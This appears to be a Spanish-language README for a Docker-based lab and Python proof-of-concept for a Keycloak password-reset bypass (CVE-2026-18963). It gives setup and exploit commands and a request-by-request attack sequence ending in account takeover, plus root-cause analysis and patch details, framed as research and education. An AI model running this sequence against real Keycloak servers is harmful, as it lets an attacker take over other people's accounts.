Laboratorio basado en Docker y exploit en Python para CVE-2026-18963, un bypass del flujo de restablecimiento de credenciales de Keycloak que permite la toma de control de cuentas mediante la elusión de la verificación por correo electrónico.
Laboratorio que simula la vulnerabilidad CVE-2026-18963 (CVSS 9.1) en Keycloak, que permite a un atacante tomar el control de cualquier cuenta mediante el bypass de la verificación de correo electrónico en el flujo de restablecimiento de contraseña.
Solo para fines de investigación de seguridad y educación.
docker-compose up -d
Espere a que Keycloak se inicie (~30-60 segundos).
pip install -r requirements.txt
python setup-lab.py
El script creará:
vuln-lab con reset-password habilitadovictim ([email protected] / VictimPass123!)python exploit.py -u http://127.0.0.1:8080 -r vuln-lab -t victim -p Pwned123!
Opciones:
-u / --url: URL de Keycloak (default: http://127.0.0.1:8080)-r / --realm: Nombre del realm (default: vuln-lab)-t / --target: Nombre de usuario objetivo (default: victim)-p / --password: Nueva contraseña (default: Pwned123!)-v / --verbose: Activar salida de depuraciónMailHog UI: http://127.0.0.1:8025 — ver los correos de reset-password enviados durante el exploit.
docker-compose down -v
Dos fallos combinados en Keycloak forman la cadena de ataque:
Fallo 1 — Corrupción del estado del selector (DefaultAuthenticationFlow.java):
Cuando el usuario hace clic en "Try Another Way", la nota de autenticación AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED
se guarda como "true" (cadena booleana) en lugar del ID del modelo de ejecución. El valor
"true" no está vinculado a ninguna ejecución específica, por lo que persiste
a lo largo de los pasos del flujo, haciendo que el selector se muestre en un contexto incorrecto.
Fallo 2 — Éxito de acción incondicional (ResetCredentialEmail.java):
El método action() de ResetCredentialEmail llama a context.success() de forma incondicional
sin verificar el token de acción. Normalmente, action() solo se llama cuando el usuario
hace clic en el enlace del correo (que tiene token de acción). Pero cuando el selector está corrupto, el atacante
puede activar action() directamente a través del procesamiento del flujo.
Attacker Keycloak
│ │
│─── GET /auth (OIDC + PKCE) ────────>│ 1. Inicializar sesión de autenticación
│<── Login page + cookies ────────────│
│ │
│─── GET /reset-credentials ─────────>│ 2. Pasar al flujo de reset
│<── Username form ──────────────────│
│ │
│─── POST tryAnotherWay=on ─────────>│ 3. Corromper el estado del selector
│<── Authenticator selector ─────────│ SELECTOR_DISPLAYED = "true"
│ │
│─── POST username=victim ──────────>│ 4. Enviar username a través del selector
│<── "Check your email" page ────────│ Correo enviado, CURRENT_EXEC = email_id
│ │
│─── GET /reset-credentials ────────>│ 5. Reingresar al flujo de reset
│<── Corrupted selector (!!!) ───────│ processFlow() ve SELECTOR="true"
│ │ → muestra el selector para el paso de email
│ │
│─── POST {} (empty body) ──────────>│ 6. BYPASS: activar action()
│<── 302 → UPDATE_PASSWORD ─────────│ processAction() no encuentra
│ │ authenticationExecution en el formulario
│─── GET /required-action ──────────>│ → cae en la rama action()
│<── Password update form ──────────│ ResetCredentialEmail.action()
│ │ → context.success() (¡incondicional!)
│ │ → el flujo pasa a ResetPassword
│ │
│─── POST password-new=Pwned! ──────>│ 7. Establecer nueva contraseña
│<── 302 → /account/ ──────────────│ Account takeover completado
│ │
└── Iniciar sesión con la nueva contraseña ──────┘
En DefaultAuthenticationFlow.processAction(), al recibir el POST:
tryAnotherWay en el formulario → NO (formulario vacío)authenticationExecution en el formulario → NO (formulario vacío)authenticator.action(result) sobre el modelo de la URLComo la URL contiene execution=<email_exec_id> (del action del formulario del selector), se llama a
ResetCredentialEmail.action() → devuelve context.success() →
el flujo pasa a ResetPassword → muestra el formulario de establecimiento de contraseña.
| Producto | Afectado | Parcheado |
|---|---|---|
| Keycloak (upstream) | < 26.7.2 | 26.7.2+ |
| RHBK 26.4.x | < 26.4.15 | 26.4.15+ |
| RHBK 26.6.x | < 26.6.6 | 26.6.6+ |
DefaultAuthenticationFlow.java:
setAuthNote(SELECTOR_DISPLAYED, "true") → setAuthNote(SELECTOR_DISPLAYED, model.getId())processFlow() verifica selector.equals(lastExecutionId) en lugar de Boolean.parseBoolean()removeAuthNote(SELECTOR_DISPLAYED)ResetCredentialEmail.java:
action() verifica ACTION_TOKEN_USER_ID antes de llamar a context.success()context.failure(INVALID_USER)